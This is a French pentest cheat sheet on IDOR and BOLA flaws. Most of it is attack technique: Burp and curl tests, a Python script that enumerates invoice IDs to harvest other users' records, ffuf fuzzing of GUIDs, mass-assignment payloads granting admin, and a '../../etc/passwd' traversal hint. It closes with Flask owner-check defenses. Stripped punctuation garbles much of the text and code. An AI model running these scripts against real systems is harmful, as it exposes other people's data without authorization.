idorbolaaccess-control
MDstable
IDOR — Insecure Direct Object Reference
Identification et exploitation des IDOR : énumération d'IDs, BOLA, mass assignment, défense par contrôle d'accès
snippetintermediate 2026-05-14 5 min read
idorbolaaccess-controlbroken-accessapiburpsuitepentest
Principe
IDOR lapplication utilise une rfrence directe ID nom de fichier cheminsans vrifier que lutilisateur courant est autoris accder cet objetGET /api/users/1337/profile profil de lutilisateur 1337GET /api/invoices/42/download facture #42GET /documents/rapport_confidentiel.pdf fichier directSi l'ID est devinable et qu'aucun contrle daccs ne filtre la rponse IDOR
Identification des surfaces IDOR
Points testerParamtres dURL /api/ordersid123 /profile/456Corps de requte POST "user_id" 789 "invoice" 42Headers HTTP X-User-ID: 123Cookies account789Noms de fichiers /uploads/user_123_photo.jpgRfrences croises /api/messagesfrom123&to456GUIDs /api/docs/550e8400-e29b-41d4-a716-446655440000
Test manuel avec Burp Suite
1 Se connecter avec Compte A user_id 1002 Trouver une requte rfrenant lID GET /api/profile/1003 Dans Burp Repeater changer 100 1014 Observer la rponse200 donnes de lutilisateur 101 IDOR confirm403 401 contrle daccs prsent200 mme donnes rponse cache possible vrifier
Tester avec deux comptes
bash
Variables
{{TOKEN_B}}
{{TARGET}}
# Compte A : user_id=100, token=TOKEN_A# Compte B : user_id=101, token=TOKEN_B# Accès légitime Compte Bcurl -H "Authorization: Bearer {{TOKEN_B}}"https//{{TARGET}}/api/profile/101# IDOR : Compte B accède au profil de Acurl -H "Authorization: Bearer {{TOKEN_B}}"https//{{TARGET}}/api/profile/100# → Si réponse 200 avec données de A = IDOR confirmé# IDOR vertical : Compte B (user) accède aux ressources admincurl -H "Authorization: Bearer {{TOKEN_B}}"https//{{TARGET}}/api/admin/users
Burp Intruder — Énumération d'IDs
1 Capturer GET /api/invoices/42 requte valide2 Envoyer vers Intruder marquer 423 Payload Numbers From 1 To 5000 Step 14 Start Attack filtrer sur Status 200 et Content-Length variable5 Les rponses 200 avec contenu vide ressources accessibles
python
Variables
{{TARGET}}
{{USER_TOKEN}}
{{OWN_USER_ID}}
# Script Python — énumération automatisée d'IDORimport requestsimport jsonBASE_URL = "https://{{TARGET}}/api/invoices"TOKEN = "{{USER_TOKEN}}"headers = {"Authorization": f"Bearer {TOKEN}"}found = []for invoice_id in range(1, 10000):r = requests.get(f"{BASE_URL}/{invoice_id}", headers=headers, timeout=5)if r.status_code == 200:data = r.json()# Vérifier que la ressource n'appartient pas à notre compteif data.get("user_id") != {{OWN_USER_ID}}:found.append({"id": invoice_id, "owner": data.get("user_id")})print(f"[IDOR] /api/invoices/{invoice_id} → user {data.get('user_id')}")print(f"\nTotal IDOR : {len(found)} ressources")
IDOR sur les GUIDs
bash
Variables
{{TARGET}}
{{TOKEN}}
# Les GUIDs semblent non-devinables mais peuvent être prédictibles si :# - UUID v1 (basé sur le timestamp + MAC) → extractible# - UUID v4 faible entropie (PRNG seed fixe)# Tester si les GUIDs sont séquentiels ou liés au temps :# UUID v1 : 110ec58a-a0f4-11e8-ac7e-1a2b3c4d5e6f# → timestamp dans les premiers octets# Fuzzing avec ffuf sur endpoint GUIDffuf -w uuidstxt -u "https://{{TARGET}}/api/docs/FUZZ"-H "Authorization: Bearer {{TOKEN}}"-mc 200 -fs 0# Générer une liste d'UUIDs v1 séquentielspython3 -cimport uuid timebase_time timetimefor i in range1000printuuiduuid1> uuidstxt
IDOR via paramètres cachés (Mass Assignment)
bash
Variables
{{TARGET}}
{{TOKEN}}
{{VICTIM_USER_ID}}
# Certaines APIs acceptent des champs non documentés dans le body# Exemple : PATCH /api/profile avec champ "role" ou "user_id"# Test mass assignmentcurl -X PATCH https//{{TARGET}}/api/profile-H "Authorization: Bearer {{TOKEN}}"-H "Content-Type: application/json"-d '{"username":"test","email":"test@test.com","role":"admin","is_admin":true}'# Test : modifier le user_id dans la requêtecurl -X GET https//{{TARGET}}/api/orders-H "Authorization: Bearer {{TOKEN}}"-H "Content-Type: application/json"-d '{"user_id": {{VICTIM_USER_ID}}}'
IDOR dans les APIs REST — patterns courants
bash
Variables
{{VICTIM_ID}}
{{OWN_ID}}
# Ressource indirecte (référence dans le body)POST /api/messages"to_user_id" {{VICTIM_ID}} "content" "test"# → Tester si "from_user_id" peut être forcé dans le body# Téléchargement de fichierGET /api/files/downloadfilenamereport_user_100pdf# → Tester : report_user_101.pdf, ../../etc/passwd# Export de donnéesGET /api/exportaccount_id{{OWN_ID}}&formatcsv# → Tester account_id={{VICTIM_ID}}# Référence indirecte dans un JWT# Décoder le JWT : {"sub": "100", "role": "user"}# Forger avec sub=101 si clé connue (voir fiche JWT)
Défense — Contrôle d'accès
python
# Python (Flask) — vérification systématique du propriétairefrom functools import wrapsdef require_owner(resource_fn):"""Décorateur : vérifie que l'utilisateur courant est propriétaire de la ressource."""@wraps(resource_fn)def wrapper(*args, **kwargs):resource_id = kwargs.get('resource_id')resource = db.get_resource(resource_id)if resource is None:abort(404)if resource.owner_id != current_user.id:abort(403) # Ne jamais retourner 404 ici — évite l'énumérationreturn resource_fn(*args, **kwargs)return wrapper@app.route('/api/invoices/<int:resource_id>')@login_required@require_ownerdef get_invoice(resource_id):return jsonify(db.get_resource(resource_id))
python
# Requête SQL avec filtre propriétaire intégrédef get_user_invoice(invoice_id: int, user_id: int):# Ne jamais : SELECT * FROM invoices WHERE id = ?# Toujours : inclure le filtre utilisateur dans la requêtereturn db.execute("SELECT * FROM invoices WHERE id = ? AND user_id = ?",(invoice_id, user_id)).fetchone()
python
# Utiliser des références indirectes opaques (IDOR mitigation)import secrets, hashlibdef get_opaque_ref(internal_id: int, user_id: int) -> str:"""Génère une référence opaque liée à l'utilisateur — non-devinable."""secret = f"{internal_id}:{user_id}:{app.config['SECRET_KEY']}"return hashlib.sha256(secret.encode()).hexdigest()[:16]# L'API expose /api/invoices/a3f9c2d1e8b047f6 au lieu de /api/invoices/42
⚠ Attention —
Les IDOR sont régulièrement classés #1 dans les bug bounty car ils sont faciles à trouver, difficiles à prévenir de façon systématique, et souvent très impactants (accès aux données de tous les utilisateurs). Un seul endpoint sans contrôle peut exposer l'ensemble de la base de données.
💡 Tip —
Tester les IDOR en mode horizontal (même rôle, autre utilisateur) ET vertical (rôle inférieur accédant aux ressources admin). Les IDOR verticaux (Broken Function Level Authorization) sont souvent plus critiques et plus oubliés lors des revues de code.
OPS·BRAIN v1.075 notes · Securitylocal